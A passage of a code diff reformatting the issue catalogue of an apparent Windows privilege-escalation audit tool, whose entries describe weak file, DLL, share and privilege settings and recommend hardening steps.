+ '''Ensure that the group memberships of the account are restricted to only those required - avoiding membership of the Administrators group. Where possible also ensure that service accounts are not able to log on interactively, as batch jobs or log in over the network. These recommendations help to limit the potential abuse of windows service accounts.''',
+ 'supporting_data': {
+ 'service_domain_user': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following windows services run in the context of local accounts:",
+ },
+ }
},
'WPC065': {
- 'title': "Windows Services for Pentesting/Auditing Tools Found",
- 'description': '''Some of the Windows service running appear to correspond to tools that are commons used for pentesting or auditing. These may or may not present a security problem. The main purpose of this issue is to advise the auditor to check if they accidentally added any Windows services.''',
- 'recommendation': '''Check each of the Windows services below and remove them if they have been added during the pentest/audit.''',
- 'supporting_data': {
- 'sectool_services': {
- 'section': "description",
- 'preamble': "The following windows services appear to be pentesting/auditing tools:",
- },
- }
+ 'title': "Windows Services for Pentesting/Auditing Tools Found",
+ 'description':
+ '''Some of the Windows service running appear to correspond to tools that are commons used for pentesting or auditing. These may or may not present a security problem. The main purpose of this issue is to advise the auditor to check if they accidentally added any Windows services.''',
+ 'recommendation':
+ '''Check each of the Windows services below and remove them if they have been added during the pentest/audit.''',
+ 'supporting_data': {
+ 'sectool_services': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following windows services appear to be pentesting/auditing tools:",
+ },
+ }
},
'WPC066': {
- 'title': "Files for Pentesting/Auditing Tools Found (TODO)",
- 'description': '''Some of the files found during the audit have the same name as tools used during pentesting and security auditing. These may or may not present a security problem. The main purpose of this issue is to advise the auditor to check if they forgot to remove any tools.''',
- 'recommendation': '''Check each of the files below and remove them if they have been added during the pentest/audit.''',
- 'supporting_data': {
- 'sectool_files': {
- 'section': "description",
- 'preamble': "The following files appear to be pentesting/auditing tools:",
- },
- }
+ 'title': "Files for Pentesting/Auditing Tools Found (TODO)",
+ 'description':
+ '''Some of the files found during the audit have the same name as tools used during pentesting and security auditing. These may or may not present a security problem. The main purpose of this issue is to advise the auditor to check if they forgot to remove any tools.''',
+ 'recommendation':
+ '''Check each of the files below and remove them if they have been added during the pentest/audit.''',
+ 'supporting_data': {
+ 'sectool_files': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following files appear to be pentesting/auditing tools:",
+ },
+ }
},
'WPC067': {
- 'title': "Executables for Running Processes Can Be Modified On Disk",
- 'description': '''The file permissions for the processes running at the time of the audit were checked. The executables for some of the processes could be replaced by non-administrative users. This could enable an attacker to escalate privilege to the owner of the processes concerned. An attacker would need to replace the program on disk and wait for the program to be run again as the user concerned.''',
- 'recommendation': '''Set strong file permissions on each of the programs below. Also set strong file permissions on parent directories. Ideally only administrative users would have the ability to change programs run by multiple users. Note that this issue can usually be considered a false positive is users are simply running programs from their home directory - provided that no other non-admin users can modify them.''',
- 'supporting_data': {
- 'process_exe': {
- 'section': "description",
- 'preamble': "The following files could be replaced by non-administrative users (TODO: how?):",
- },
- }
+ 'title': "Executables for Running Processes Can Be Modified On Disk",
+ 'description':
+ '''The file permissions for the processes running at the time of the audit were checked. The executables for some of the processes could be replaced by non-administrative users. This could enable an attacker to escalate privilege to the owner of the processes concerned. An attacker would need to replace the program on disk and wait for the program to be run again as the user concerned.''',
+ 'recommendation':
+ '''Set strong file permissions on each of the programs below. Also set strong file permissions on parent directories. Ideally only administrative users would have the ability to change programs run by multiple users. Note that this issue can usually be considered a false positive is users are simply running programs from their home directory - provided that no other non-admin users can modify them.''',
+ 'supporting_data': {
+ 'process_exe': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following files could be replaced by non-administrative users (TODO: how?):",
+ },
+ }
},
'WPC068': {
- 'title': "DLLs Used by Running Processes Can Be Modified On Disk",
- 'description': '''The file permissions for DLLs used by processes running at the time of the audit were checked. The DLLs for some of the processes could be replaced by non-administrative users. This could enable an attacker to escalate privilege to the owner of the processes concerned. An attacker would need to replace the DLL on disk and wait for the program to be run again as the user concerned.''',
- 'recommendation': '''Set strong file permissions on each of the DLLs below. Also set strong file permissions on parent directories. Ideally only administrative users would have the ability to change DLLs used by multiple users. Note that this issue can usually be considered a false positive is users are simply running programs from their home directory - provided that no other non-admin users can modify them.''',
- 'supporting_data': {
- 'process_dll': {
- 'section': "description",
- 'preamble': "The following files could be replaced by non-administrative users (TODO: how?):",
- },
- }
+ 'title': "DLLs Used by Running Processes Can Be Modified On Disk",
+ 'description':
+ '''The file permissions for DLLs used by processes running at the time of the audit were checked. The DLLs for some of the processes could be replaced by non-administrative users. This could enable an attacker to escalate privilege to the owner of the processes concerned. An attacker would need to replace the DLL on disk and wait for the program to be run again as the user concerned.''',
+ 'recommendation':
+ '''Set strong file permissions on each of the DLLs below. Also set strong file permissions on parent directories. Ideally only administrative users would have the ability to change DLLs used by multiple users. Note that this issue can usually be considered a false positive is users are simply running programs from their home directory - provided that no other non-admin users can modify them.''',
+ 'supporting_data': {
+ 'process_dll': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following files could be replaced by non-administrative users (TODO: how?):",
+ },
+ }
},
'WPC069': {
- 'title': "Processes Security Descriptor Allow Access To Non-Admin Users (TODO)",
- 'description': '''TODO. Writeme+Fixme. This issue currently get false positives about non-priv users being able to change their own process. Also needs to take account of RESTRICTED processes http://blogs.msdn.com/b/aaron_margosis/archive/2004/09/10/227727.aspx http://msdn.microsoft.com/en-us/library/ms972827.aspx''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'process_perms': {
- 'section': "description",
- 'preamble': "TODO",
- },
- }
+ 'title':
+ "Processes Security Descriptor Allow Access To Non-Admin Users (TODO)",
+ 'description':
+ '''TODO. Writeme+Fixme. This issue currently get false positives about non-priv users being able to change their own process. Also needs to take account of RESTRICTED processes http://blogs.msdn.com/b/aaron_margosis/archive/2004/09/10/227727.aspx http://msdn.microsoft.com/en-us/library/ms972827.aspx''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'process_perms': {
+ 'section': "description",
+ 'preamble': "TODO",
+ },
+ }
},
'WPC070': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeAssignPrimaryTokenPrivilege",
- 'description': '''TODO SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") Required to assign the primary token of a process.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Replace a process-level token' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeAssignPrimaryTokenPrivilege",
+ 'description':
+ '''TODO SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") Required to assign the primary token of a process.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Replace a process-level token' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC071': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeBackupPrivilege",
- 'description': '''TODO SE_BACKUP_NAME TEXT("SeBackupPrivilege") Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL ACCESS_SYSTEM_SECURITY FILE_GENERIC_READ FILE_TRAVERSE''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Back up files and directories' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeBackupPrivilege",
+ 'description':
+ '''TODO SE_BACKUP_NAME TEXT("SeBackupPrivilege") Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL ACCESS_SYSTEM_SECURITY FILE_GENERIC_READ FILE_TRAVERSE''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Back up files and directories' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC072': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeCreatePagefilePrivilege",
- 'description': '''TODO SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") Required to create a paging file. .''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Create a pagefile' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeCreatePagefilePrivilege",
+ 'description':
+ '''TODO SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") Required to create a paging file. .''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Create a pagefile' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC073': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeCreateTokenPrivilege",
- 'description': '''TODO SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") Required to create a primary token.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Create a token object' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeCreateTokenPrivilege",
+ 'description':
+ '''TODO SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") Required to create a primary token.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Create a token object' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC074': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeDebugPrivilege",
- 'description': '''TODO SE_DEBUG_NAME TEXT("SeDebugPrivilege") Required to debug and adjust the memory of a process owned by another account.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Debug programs' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeDebugPrivilege",
+ 'description':
+ '''TODO SE_DEBUG_NAME TEXT("SeDebugPrivilege") Required to debug and adjust the memory of a process owned by another account.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Debug programs' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC075': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeEnableDelegationPrivilege",
- 'description': '''TODO SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") Required to mark user and computer accounts as trusted for delegation.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Enable computer and user accounts to be trusted for delegation' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeEnableDelegationPrivilege",
+ 'description':
+ '''TODO SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") Required to mark user and computer accounts as trusted for delegation.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Enable computer and user accounts to be trusted for delegation' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC076': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeLoadDriverPrivilege",
- 'description': '''TODO SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") Required to load or unload a device driver.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Load and unload device drivers' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeLoadDriverPrivilege",
+ 'description':
+ '''TODO SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") Required to load or unload a device driver.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Load and unload device drivers' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC077': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeMachineAccountPrivilege",
- 'description': '''TODO SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") Required to create a computer account.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Add workstations to domain' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeMachineAccountPrivilege",
+ 'description':
+ '''TODO SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") Required to create a computer account.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Add workstations to domain' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC078': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeManageVolumePrivilege",
- 'description': '''Microsoft warns that "Use caution when assigning this user right. Users with this user right can explore disks and extend files in to memory that contains other data. When the extended files are opened, the user might be able to read and modify the acquired data."''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Manage the files on a volume / Perform volume maintenance tasks' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeManageVolumePrivilege",
+ 'description':
+ '''Microsoft warns that "Use caution when assigning this user right. Users with this user right can explore disks and extend files in to memory that contains other data. When the extended files are opened, the user might be able to read and modify the acquired data."''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Manage the files on a volume / Perform volume maintenance tasks' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC079': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeRelabelPrivilege",
- 'description': '''TODO SE_RELABEL_NAME TEXT("SeRelabelPrivilege") Required to modify the mandatory integrity level of an object.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Modify an object label' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeRelabelPrivilege",
+ 'description':
+ '''TODO SE_RELABEL_NAME TEXT("SeRelabelPrivilege") Required to modify the mandatory integrity level of an object.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Modify an object label' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC080': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeRestorePrivilege",
- 'description': '''Some users have been granted the ability to write to any file or directory, even if object permissions don't allow it. Specifically, check for the following permissions can be bypassed by the affected users: WRITE_DAC WRITE_OWNER ACCESS_SYSTEM_SECURITY FILE_GENERIC_WRITE FILE_ADD_FILE FILE_ADD_SUBDIRECTORY DELETE. Note that it is therefore possible to change the owner or the DACL, meaning that read access is also possible. This allows the affected users to take full control of any file or directory (but not services?). This privilege is one of the prerequisites for users to be able to load backups of registry hives into the registry (RegLoadKey). Note that this privilege is normally granted to members of the local administrators group and this does not infer a security weakness as the users have administration rights already.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Restore files and directories' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeRestorePrivilege",
+ 'description':
+ '''Some users have been granted the ability to write to any file or directory, even if object permissions don't allow it. Specifically, check for the following permissions can be bypassed by the affected users: WRITE_DAC WRITE_OWNER ACCESS_SYSTEM_SECURITY FILE_GENERIC_WRITE FILE_ADD_FILE FILE_ADD_SUBDIRECTORY DELETE. Note that it is therefore possible to change the owner or the DACL, meaning that read access is also possible. This allows the affected users to take full control of any file or directory (but not services?). This privilege is one of the prerequisites for users to be able to load backups of registry hives into the registry (RegLoadKey). Note that this privilege is normally granted to members of the local administrators group and this does not infer a security weakness as the users have administration rights already.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Restore files and directories' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC081': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeShutdownPrivilege",
- 'description': '''Some users are allowed to shut down the computer. This may aid an attacker in exploiting a pre-existing vulnerability - e.g. after replacig a program that run at boot time. Alone, it probably doesn't constitute a privilege escalation vector. It could lead to desruption of the system, though.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Shut down the system' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeShutdownPrivilege",
+ 'description':
+ '''Some users are allowed to shut down the computer. This may aid an attacker in exploiting a pre-existing vulnerability - e.g. after replacig a program that run at boot time. Alone, it probably doesn't constitute a privilege escalation vector. It could lead to desruption of the system, though.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Shut down the system' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC082': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeSyncAgentPrivilege",
- 'description': '''TODO SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") Required for a domain controller to use the LDAP directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Synchronize directory service data' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeSyncAgentPrivilege",
+ 'description':
+ '''TODO SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") Required for a domain controller to use the LDAP directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Synchronize directory service data' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC083': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeTakeOwnershipPrivilege",
- 'description': '''Some users have been granted the ability to take ownership of any object, even if object permissions don't grant them "Take Ownership" rights. This allows the affected users to take full control of any object (file, directory, service, etc.). This could trivially lead to the user escallating rights to local administrator. Note that this privilege is normally granted to members of the local administrators group and this does not infer a security weakness as the users have administration rights already.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Take ownership of files or other objects' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeTakeOwnershipPrivilege",
+ 'description':
+ '''Some users have been granted the ability to take ownership of any object, even if object permissions don't grant them "Take Ownership" rights. This allows the affected users to take full control of any object (file, directory, service, etc.). This could trivially lead to the user escallating rights to local administrator. Note that this privilege is normally granted to members of the local administrators group and this does not infer a security weakness as the users have administration rights already.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Take ownership of files or other objects' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC084': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeTcbPrivilege",
- 'description': '''TODO SE_TCB_NAME TEXT("SeTcbPrivilege") This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Act as part of the operating system' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeTcbPrivilege",
+ 'description':
+ '''TODO SE_TCB_NAME TEXT("SeTcbPrivilege") This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Act as part of the operating system' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC085': {
- 'title': "Windows Users/Groups Hold Powerful Privilege: SeTrustedCredManAccessPrivilege",
- 'description': '''TODO SE_TRUSTED_CREDMAN_ACCESS_NAME TEXT("SeTrustedCredManAccessPrivilege") Required to access Credential Manager as a trusted caller.''',
- 'recommendation': '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Access Credential Manager as a trusted caller' in secpol.msc.''',
- 'supporting_data': {
- 'user_powerful_priv': {
- 'section': "description",
- 'preamble': "The following users hold the privilege:",
- },
- 'group_powerful_priv': {
- 'section': "description",
- 'preamble': "The following groups hold the privilege:",
- },
- }
+ 'title':
+ "Windows Users/Groups Hold Powerful Privilege: SeTrustedCredManAccessPrivilege",
+ 'description':
+ '''TODO SE_TRUSTED_CREDMAN_ACCESS_NAME TEXT("SeTrustedCredManAccessPrivilege") Required to access Credential Manager as a trusted caller.''',
+ 'recommendation':
+ '''Review the list of users below who hold this privilege. Revoke it where it is not required - e.g. under 'Access Credential Manager as a trusted caller' in secpol.msc.''',
+ 'supporting_data': {
+ 'user_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following users hold the privilege:",
+ },
+ 'group_powerful_priv': {
+ 'section': "description",
+ 'preamble': "The following groups hold the privilege:",
+ },
+ }
},
'WPC086': {
- 'title': "Share Level Permissions Allow Access By Non-Admin Users",
- 'description': '''The share-level permissions on some Windows file shares allows access by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow data to be stolen or programs to be maliciously modified. NB: Setting strong NTFS permissions can sometimes mean that data which seems to be exposed on a share actually isn't accessible.''',
- 'recommendation': '''Review the share-level permissions that have been granted to non-administrative users and revoke access where possible. Share-level permissions can be viewed in Windows Explorer: Right-click folder | Sharing and Security | "Sharing" tab | "Permissions" button (for XP - other OSs may vary slightly).''',
- 'supporting_data': {
- 'non_admin_shares': {
- 'section': "description",
- 'preamble': "The following non-admin users have been granted FILE_READ_DATA permission on shares:",
- },
- }
+ 'title': "Share Level Permissions Allow Access By Non-Admin Users",
+ 'description':
+ '''The share-level permissions on some Windows file shares allows access by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow data to be stolen or programs to be maliciously modified. NB: Setting strong NTFS permissions can sometimes mean that data which seems to be exposed on a share actually isn't accessible.''',
+ 'recommendation':
+ '''Review the share-level permissions that have been granted to non-administrative users and revoke access where possible. Share-level permissions can be viewed in Windows Explorer: Right-click folder | Sharing and Security | "Sharing" tab | "Permissions" button (for XP - other OSs may vary slightly).''',
+ 'supporting_data': {
+ 'non_admin_shares': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following non-admin users have been granted FILE_READ_DATA permission on shares:",
+ },
+ }
},
'WPC087': {
- 'title': "Directory Creation Allowed On Drive Root",
- 'description': '''Some of the local drive roots allow non-administrative users to create directories. This could provide attackers with a place to stash hacking tools, or proive legitimacy to malware they are seeking to get other users to run. It is relatively common to allow the creation of directories in the drive root, but it probably isn't required for normal operation.
+ 'title': "Directory Creation Allowed On Drive Root",
+ 'description':
+ '''Some of the local drive roots allow non-administrative users to create directories. This could provide attackers with a place to stash hacking tools, or proive legitimacy to malware they are seeking to get other users to run. It is relatively common to allow the creation of directories in the drive root, but it probably isn't required for normal operation.
NB: This issue has only been reported for NTFS filesystems. Other non-NTFS file system may also allow this behaviour. A separate issue is reported for non-NTFS filesystems.''',
- 'recommendation': '''Modify the permissions on the drive roots to only allow administrators to create directories. Revoke this permission from low-privileged users.''',
- 'supporting_data': {
- 'dir_add_dir': {
- 'section': "description",
- 'preamble': "The following drives allow non-administrative users to create directories in to their root:",
- },
- }
+ 'recommendation':
+ '''Modify the permissions on the drive roots to only allow administrators to create directories. Revoke this permission from low-privileged users.''',
+ 'supporting_data': {
+ 'dir_add_dir': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following drives allow non-administrative users to create directories in to their root:",
+ },
+ }
},
'WPC088': {
- 'title': "Read Permissions Allowed On Event Log File",
